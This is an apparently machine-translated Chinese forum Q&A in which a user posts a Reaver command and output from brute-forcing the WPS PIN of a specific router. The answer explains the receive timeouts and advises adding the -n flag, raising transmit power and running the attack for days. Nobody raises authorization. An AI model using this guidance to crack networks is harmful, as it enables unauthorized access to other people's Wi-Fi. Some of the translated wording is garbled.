我正在尝试通过 REAVER 破解WPA2 PSK
,但信号强度不足-50分贝 它确实会这样(一次又一次地输入一个 PIN)。我有一个 2.4 Ghz 无线适配器,这是真的吗?这是我输入的最后一个 REAVER 命令
reaver -i mon0 -b 2C:AB:25:51:F1:CF -d 30 -S -N -vv
[+] Switching mon0 to channel 1
[+] Waiting for beacon from 2C:AB:25:51:F1:CF
[+] failed to Associated with 2C:AB:25:51:F1:CF (ESSID: PTCL-BB)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response ^C
[+] Nothing done, nothing to save.
答案1
路由器没有告诉您 PIN 码输入错误,而是根本没有发出任何回应。
[!] WARNING: Receive timeout occurred
这可能是由于 AP 信号强度低造成的。虽然您的信号似乎很好。
无线客户端的发射功率过低也可能造成这种情况。在开始之前,请确保增加无线网卡的发射功率。但由于 AP 正在响应其他信号,因此这可能不是问题所在。
这自述Reaver 附带的解决最有可能的情况:
某些较差的 WPS 实现会在提供无效引脚时立即断开连接,而不是按照规范要求以 NACK 消息进行响应。为了解决这个问题,如果达到 M5/M7 超时,则默认情况下将其视为 NACK。但是,如果已知目标 AP 发送 NACK(大多数都会发送),则可以禁用此功能以确保更好的可靠性。此选项基本上没用,因为 Reaver 会自动检测 AP 是否正确以 NACK 进行响应:
尝试添加-n
选项。
您还需要更多的耐心。Reaver 可能需要几分钟才能弄清楚路由器的所有特性,并且可能需要几个小时甚至几天才能恢复 PIN。将其设置为运行并在第二天回来。